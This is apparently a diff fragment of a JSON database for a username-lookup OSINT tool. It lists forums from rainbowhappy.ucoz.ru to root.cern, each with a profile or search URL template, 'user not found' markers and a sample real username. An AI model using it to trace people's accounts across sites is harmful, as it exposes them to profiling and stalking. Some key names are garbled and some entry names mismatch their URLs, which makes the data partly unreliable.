+ "url": "https://rainbowhappy.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://rainbowhappy.ucoz.ru",
+ "usernameON": "FrankMate",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_rainmeter": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Information ",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum.rainmeter.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://forum.rainmeter.net",
+ "usernameON": "Jeff",
+ "bad_site": ""
+ },
+ "Forum_rakesh-jhunjhunwala": {
+ "country": "🇮🇳",
+ "country_klas": "IN",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://rakesh-jhunjhunwala.in/forum/members/?username={}",
+ "urlMain": "https://rakesh-jhunjhunwala.in",
+ "usernameON": "arjun",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_raks": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://raks.com.ua/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA",
+ "urlMain": "https://raks.com.ua",
+ "usernameON": "irina",
+ "bad_site": ""
+ },
+ "Forum_rakursy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rakursy.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://rakursy.ucoz.ru",
+ "usernameON": "Schoroch",
+ "bad_site": ""
+ },
+ "Forum_rakwireless": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.rakwireless.com/u/{}/summary",
+ "urlMain": "https://forum.rakwireless.com",
+ "usernameON": "hobo",
+ "bad_site": ""
+ },
+ "Forum_ram1500diesel": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.ram1500diesel.com/members/?username={}",
+ "urlMain": "https://www.ram1500diesel.com",
+ "usernameON": "kazimodo",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_ramenskoe1": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ramenskoe1.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://ramenskoe1.ucoz.ru",
+ "usernameON": "gorodisskyru",
+ "bad_site": ""
+ },
+ "Forum_ranobes": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "Just a moment",
+ "errorMsg3": "| Cloudflare ",
+ "errorTyp��": "message",
+ "url": "https://forum.ranobes.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forum.ranobes.com",
+ "comments": "cf",
+ "usernameON": "Jaeri",
+ "bad_site": ""
+ },
+ "Forum_rarib": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "DDOS-GUARD ",
+ "errorMsg3": "технические работы",
+ "errorTyp��": "message",
+ "url": "https://forum.rarib.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Поиск",
+ "urlMain": "https://forum.rarib.ag",
+ "usernameON": "kokky",
+ "bad_site": ""
+ },
+ "Forum_rasmircoins": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rasmircoins.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://rasmircoins.ucoz.ru/",
+ "usernameON": "Faghouri",
+ "bad_site": ""
+ },
+ "Forum_raspberrypi": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Just a moment",
+ "errorTyp��": "message",
+ "url": "https://forums.raspberrypi.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://forums.raspberrypi.com",
+ "usernameON": "adam",
+ "comments": "cf",
+ "ignore_status_code": true,
+ "bad_site": ""
+ },
+ "Forum_ratsun": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://ratsun.net/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://ratsun.net",
+ "usernameON": "datzenmike",
+ "bad_site": ""
+ },
+ "Forum_ravnovesie": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ravnovesie.ucoz.net/index/8-0-{}",
+ "urlMain": "https://ravnovesie.ucoz.net",
+ "usernameON": "Светлана",
+ "bad_site": ""
+ },
+ "Forum_ray": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://discuss.ray.io/u/{}/summary",
+ "urlMain": "https://discuss.ray.io",
+ "usernameON": "Lacruche",
+ "bad_site": ""
+ },
+ "Forum_rayven": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rayven.at.ua/index/8-0-{}",
+ "urlMain": "https://rayven.at.ua/",
+ "usernameON": "rayven",
+ "bad_site": ""
+ },
+ "Forum_raznoe-vse": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://raznoe-vse.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://raznoe-vse.ucoz.ru",
+ "usernameON": "egorsmirnowv",
+ "bad_site": ""
+ },
+ "Forum_razrab": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "http://razrab.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://razrab.ru",
+ "usernameON": "ibev",
+ "bad_site": ""
+ },
+ "Forum_razvilka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rbk-portal.3dn.ru/index/8-0-{}",
+ "urlMain": "https://rbk-portal.3dn.ru",
+ "usernameON": "BeLoNe",
+ "bad_site": ""
+ },
+ "Forum_rclone": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forum.rclone.org/u/{}",
+ "urlMain": "https://forum.rclone.org",
+ "usernameON": "Alexander_Andriishin",
+ "bad_site": ""
+ },
+ "Forum_rcuniverse": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "not registered",
+ "errorMsg2": "Sorry",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.rcuniverse.com/forum/members/{}.html",
+ "urlMain": "https://www.rcuniverse.com",
+ "usernameON": "yuriy19",
+ "bad_site": ""
+ },
+ "Forum_rdr2": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.rdr2.org/forums/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.rdr2.org",
+ "usernameON": "Parzival",
+ "bad_site": ""
+ },
+ "Forum_rdw": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "url": "https://rdw.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://rdw.ucoz.ru",
+ "usernameON": "jabbarhuusaincs",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_real-sp": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://real-sp.ucoz.com/index/8-0-{}",
+ "urlMain": "https://real-sp.ucoz.com",
+ "usernameON": "Yuriysap",
+ "bad_site": ""
+ },
+ "Forum_realistzoosafety": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>",
+ "errorMsg3": "banned",
+ "errorTyp��": "message",
+ "url": "https://forum.realsurf.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://forum.realsurf.com",
+ "usernameON": "admin",
+ "comments": "RUblock",
+ "bad_site": ""
+ },
+ "Forum_rebkell": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Sorry,",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Critical Error",
+ "errorTyp��": "message",
+ "url": "https://boards.rebkell.net/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://boards.rebkell.net",
+ "usernameON": "rebkell",
+ "bad_site": ""
+ },
+ "Forum_rebornbuddy": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://rebornbuddy.com/xf/members/?username={}",
+ "urlMain": "https://rebornbuddy.com/",
+ "usernameON": "tony",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_recoveryRU": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://region13.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://region13.ucoz.ru",
+ "usernameON": "VVS15081",
+ "bad_site": ""
+ },
+ "Forum_reiki-healing": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://reiki-healing-l.org/index/8-0-{}",
+ "urlMain": "http://reiki-healing-l.org",
+ "usernameON": "YaIrina1993",
+ "bad_site": ""
+ },
+ "Forum_reklama-kiev": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "url": "https://reklama-kiev.at.ua/index/8-0-{}",
+ "urlMain": "https://reklama-kiev.at.ua",
+ "usernameON": "dsgvolia",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_relationlibre": {
+ "country": "🇫🇷",
+ "country_klas": "FR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://relationlibre.com/participant/{}/",
+ "urlMain": "https://relationlibre.com",
+ "usernameON": "laeti",
+ "bad_site": ""
+ },
+ "Forum_relax-kei": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://relax-kei.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://relax-kei.ucoz.ru",
+ "usernameON": "ztaletnted",
+ "bad_site": ""
+ },
+ "Forum_religion": {
+ "country": "🇫🇷",
+ "country_klas": "FR",
+ "errorMsg": "Aucun membre trouvé pour ce critère de recherche",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum-religion.org/memberlist.php?username={}",
+ "urlMain": "https://forum-religion.org",
+ "usernameON": "Georges86",
+ "bad_site": ""
+ },
+ "Forum_religion_s": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://religion.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://religion.ucoz.ru",
+ "usernameON": "ArthurHip",
+ "bad_site": ""
+ },
+ "Forum_rem-tv": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rem-tv.at.ua/index/8-0-{}",
+ "urlMain": "https://rem-tv.at.ua",
+ "usernameON": "fanttom",
+ "bad_site": ""
+ },
+ "Forum_remont-lipetsk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://remont-lipetsk.3dn.ru/index/8-0-{}",
+ "urlMain": "https://remont-lipetsk.3dn.ru",
+ "usernameON": "mattmabwerce",
+ "bad_site": ""
+ },
+ "Forum_remsanteh": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://remzona-ekb.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://remzona-ekb.ucoz.ru",
+ "usernameON": "REMZONA",
+ "bad_site": ""
+ },
+ "Forum_render_otoy": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "Information",
+ "errorMsg2": "Sorry, ",
+ "errorMsg3": "banned from this board",
+ "errorTyp��": "message",
+ "url": "https://render.otoy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://render.otoy.com/",
+ "usernameON": "grazieromi",
+ "bad_site": ""
+ },
+ "Forum_repolitics": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://repolitics.com/forums/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://repolitics.com",
+ "usernameON": "Zeitgeist",
+ "bad_site": ""
+ },
+ "Forum_reptile": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не выбран",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.reptile.ru/forum/member.php?action=viewpro&member={}",
+ "urlMain": "https://www.reptile.ru",
+ "usernameON": "Zoofond",
+ "bad_site": ""
+ },
+ "Forum_reptileforums": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.reptileforums.co.uk/members/?username={}",
+ "urlMain": "https://www.reptileforums.co.uk",
+ "usernameON": "malc",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_res-publica": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://res-publica.ucoz.org/index/8-0-{}",
+ "urlMain": "https://res-publica.ucoz.org",
+ "usernameON": "PUBLIUS",
+ "bad_site": ""
+ },
+ "Forum_reseau-js": {
+ "country": "🇫🇷",
+ "country_klas": "FR",
+ "errorMsg": "0 résultat",
+ "errorMsg2": "Veuillez patienter",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum.reseau-js.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forum.reseau-js.com",
+ "usernameON": "loup",
+ "bad_site": ""
+ },
+ "Forum_reseau-naturiste": {
+ "country": "🇫🇷",
+ "country_klas": "FR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.reseau-naturiste.org/user/{}",
+ "urlMain": "https://www.reseau-naturiste.org/",
+ "usernameON": "Sephora",
+ "bad_site": ""
+ },
+ "Forum_respecta": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum.respecta.net/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forum.respecta.net/",
+ "usernameON": "NBN93",
+ "comments": "vzlom",
+ "bad_site": 1
+ },
+ "Forum_resto_clan": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://resto.clan.su/index/8-0-{}",
+ "urlMain": "https://resto.clan.su",
+ "usernameON": "Riminy",
+ "bad_site": ""
+ },
+ "Forum_retrievertraining": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.retrievertraining.net/members/?username={}",
+ "urlMain": "https://www.retrievertraining.net",
+ "usernameON": "johndbarrow",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_rewar": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rewar.me/index/8-0-{}",
+ "urlMain": "https://rewar.me/",
+ "usernameON": "mashery",
+ "bad_site": ""
+ },
+ "Forum_rexmill": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rexmill.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://rexmill.ucoz.ru/",
+ "usernameON": "mun686",
+ "bad_site": ""
+ },
+ "Forum_rezzoclub": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.rezzoclub.ru/index/8-0-{}",
+ "urlMain": "http://www.rezzoclub.ru",
+ "usernameON": "Rapidrezzo",
+ "bad_site": ""
+ },
+ "Forum_rg_myqip": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://ribalka.ucoz.org/index/8-0-{}",
+ "urlMain": "http://ribalka.ucoz.org",
+ "usernameON": "Андрей0508",
+ "bad_site": ""
+ },
+ "Forum_richelieu": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://rieltori.narod2.ru/index/8-0-{}",
+ "urlMain": "http://rieltori.narod2.ru",
+ "usernameON": "natayovzhik",
+ "bad_site": ""
+ },
+ "Forum_riga-luna": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://riga-luna.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://riga-luna.ucoz.ru",
+ "usernameON": "Talahassy",
+ "bad_site": ""
+ },
+ "Forum_rima-pendzhieva": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rima-pendzhieva.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://rima-pendzhieva.ucoz.ru",
+ "usernameON": "morozov2112",
+ "bad_site": ""
+ },
+ "Forum_rio4": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rio4.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://rio4.ucoz.ru/",
+ "usernameON": "Fakskaxip",
+ "bad_site": ""
+ },
+ "Forum_rivianowners": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.rivianownersforum.com/members/?username={}",
+ "urlMain": "https://www.rivianownersforum.com",
+ "usernameON": "swampnut",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_rkls76": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rkls76.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://rkls76.ucoz.ru",
+ "usernameON": "JosephBon",
+ "bad_site": ""
+ },
+ "Forum_rks": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Извините, такого пользователя не существует ",
+ "errorMsg2": " :: ",
+ "errorTyp��": "message",
+ "url": "https://forum.rks.kr.ua/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://forum.rks.kr.ua",
+ "usernameON": "Mistika24",
+ "bad_site": ""
+ },
+ "Forum_rllmukforum": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorMsg": "0 results",
+ "errorMsg2": "Sorry",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.rllmukforum.com/index.php?/search/&q={}&quick=1&type=core_members",
+ "urlMain": "https://www.rllmukforum.com",
+ "usernameON": "yakumo",
+ "bad_site": ""
+ },
+ "Forum_rmmedia": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Указанный пользователь не найден. Пожалуйста, введите другое имя.",
+ "errorMsg2": "Полезные пользователи | Rmmedia.ru ",
+ "errorMsg3": "Пожалуйста, подождите",
+ "errorTyp��": "message",
+ "url": "https://rmmedia.ru/members/?username={}",
+ "urlMain": "https://rmmedia.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_rmrp": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.rmrp.ru/members/?username={}",
+ "urlMain": "https://forum.rmrp.ru",
+ "usernameON": "alqoile",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_roadbikereview": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.roadbikereview.com/members/?username={}",
+ "urlMain": "https://www.roadbikereview.com",
+ "usernameON": "finx",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_roadcontrol_BLOCK_RU_IP": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Подходящих тем или сообщений не найдено",
+ "errorMsg2": "Информация ",
+ "errorMsg3": "page_pageNotFound",
+ "errorTyp��": "message",
+ "url": "https://roadcontrol.org/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://roadcontrol.org",
+ "usernameON": "%D0%90ndrew",
+ "bad_site": ""
+ },
+ "Forum_rock-metalwave": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rock-metal-wave.ru/index/8-0-{}",
+ "urlMain": "https://rock-metal-wave.ru",
+ "usernameON": "0919swdsnb",
+ "bad_site": ""
+ },
+ "Forum_rodgers": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "профиль забанен или удален",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://rodgersforum.borda.ru/?32-{}",
+ "urlMain": "https://rodgersforum.borda.ru",
+ "usernameON": "hata1979",
+ "bad_site": ""
+ },
+ "Forum_rodniki": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://rodniki.do.am/index/8-0-{}",
+ "urlMain": "http://rodniki.do.am",
+ "usernameON": "N278",
+ "bad_site": ""
+ },
+ "Forum_rodnovira": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rodnovira.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://rodnovira.ucoz.ru",
+ "usernameON": "vioooila",
+ "bad_site": ""
+ },
+ "Forum_rodoslav": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> ",
+ "errorTyp��": "message",
+ "url": "http://www.rohitab.com/discuss/index.php?app=core&module=search&do=search&andor_type=&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=0",
+ "urlMain": "http://www.rohitab.com",
+ "usernameON": "adam",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Forum_rokslide": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://rokslide.com/forums/members/?username={}",
+ "urlMain": "https://rokslide.com",
+ "usernameON": "ukisan",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_rollerclub": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorMsg3": "Срок регистрации домена истек",
+ "errorTyp��": "message",
+ "url": "http://forum.rollerclub.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://forum.rollerclub.ru",
+ "usernameON": "snb",
+ "bad_site": ""
+ },
+ "Forum_Rollitup": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "url": "https://www.rollitup.org/members/?username={}",
+ "urlMain": "https://www.rollitup.org",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_romhacking": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://romhacking.ru/index/8-0-{}",
+ "urlMain": "https://romhacking.ru",
+ "usernameON": "debbietk1",
+ "bad_site": ""
+ },
+ "Forum_romkaq": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://romkaq.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://romkaq.ucoz.ru",
+ "usernameON": "luntik333vlz",
+ "bad_site": ""
+ },
+ "Forum_root_cern": {
+ "country": "🇪🇺",
+ "country_klas": "EU",
+ "errorTyp��": "status_code",
